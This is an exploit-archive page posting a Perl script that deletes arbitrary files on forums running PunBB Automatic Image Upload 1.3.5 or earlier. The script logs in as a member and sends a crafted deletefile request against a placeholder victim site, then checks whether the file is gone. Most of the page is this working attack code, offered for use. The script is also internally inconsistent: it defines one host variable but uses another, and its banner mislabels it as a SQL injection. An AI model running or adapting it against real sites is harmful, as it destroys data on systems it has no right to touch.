exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PunBB Automatic Image Upload 1.3.5 Delete File

PunBB Automatic Image Upload 1.3.5 Delete File
Posted Jul 28, 2009
Authored by Dante90 | Site warwolfz.org

PunBB Automatic Image Upload versions 1.3.5 and below delete arbitrary file exploit.

tags | exploit, arbitrary
SHA-256 | 353a738430aee548fbdba582da6c1a7f18668c3a568c6831b72b694e107e732f

PunBB Automatic Image Upload 1.3.5 Delete File

Change Mirror Download
#!/usr/bin/perl
#[0-Day] PunBB Automatic Image Upload <= v1.3.5 Delete Arbitrary File
Vulnerability
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
#Works only if '$Allow_Delete[] = "[USERGROUP]";' is not commented in
"uploadimg_config.php" [FIND LINE: 75]. Example:
#//$Allow_Delete[] = "Members"; => $Allow_Delete[] = "Members";

use LWP::UserAgent;
use HTTP::Cookies;

my ($UserName,$PassWord,$DirectoryFile,$DeleteFile) = @ARGV;

if(@ARGV < 4){
&usage();
exit();
}

my $Message = "";
my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site
Link
my $Referrer = "http://www.warwolfz.com/";

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
agent => 'Mozilla/5.0',
max_redirect => 0,
cookie_jar => $Cookies,
) or die $!;

sub Login(){
my $Login = $UserAgent->post($HostName.'/login.php?action=in',
[
form_sent => '1',
redirect_url => 'index.php',
req_username => $UserName,
req_password => $PassWord,
login => 'Login',
]) || die $!;

if($Login->content =~ /Logged in /i){
return 1;
}else{
return 0;
}
}

if (Login() == 1){
$Message = " * Logged in as: " . $UserName;
}elsif (Login() == 0){
$Message = " * Login Failed.";
}

my $Get =
$UserAgent->get($HostName."./uploadimg_view.php?view=gallery&p=1&deletefile=./".$DirectoryFile."/".$DeleteFile);
my $GetFile =
$UserAgent->get($HostName."./uploads/".$DirectoryFile.$DeleteFile);

if($Get->content =~ /<b>Warning<\/b>: /i){
refresh($Message, $HostName, "", "");
print " * Error deleting sensible data.\n";
print " * Exploit Failed *\n";
print " ------------------------------------------------------ \n\n";
}elsif ($GetFile->as_string =~ /404 Not Found/i){
refresh($Message, $HostName, $DirectoryFile, $DeleteFile);
print " * File Deleted *\n";
print " * Exploit Successed *\n";
print " ------------------------------------------------------\n\n";
system("pause");
}else{
refresh($Message, $HostName, "", "");
print " * General Error. Maybe the file was deleted the same ;)\n";
print " * Control manually:
".$HostName."./uploads/".$DirectoryFile.$DeleteFile."\n";
print " * Error deleting sensible data.\n";
print " * Exploit Failed *\n";
print " ------------------------------------------------------ \n\n";
}

sub usage{
system("cls");
{
print " \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL
Injection Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [id] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
exit;
}

sub refresh{
system("cls");
{
print " \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL
Injection Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [id] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
print $_[0] ."\n";
print " * Victime Site: " . $_[1] . "\n";
print " * Directory: " . $_[2] . "\n";
print " * File: " . $_[3] . "\n";
}

#WaRWolFz Crew
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close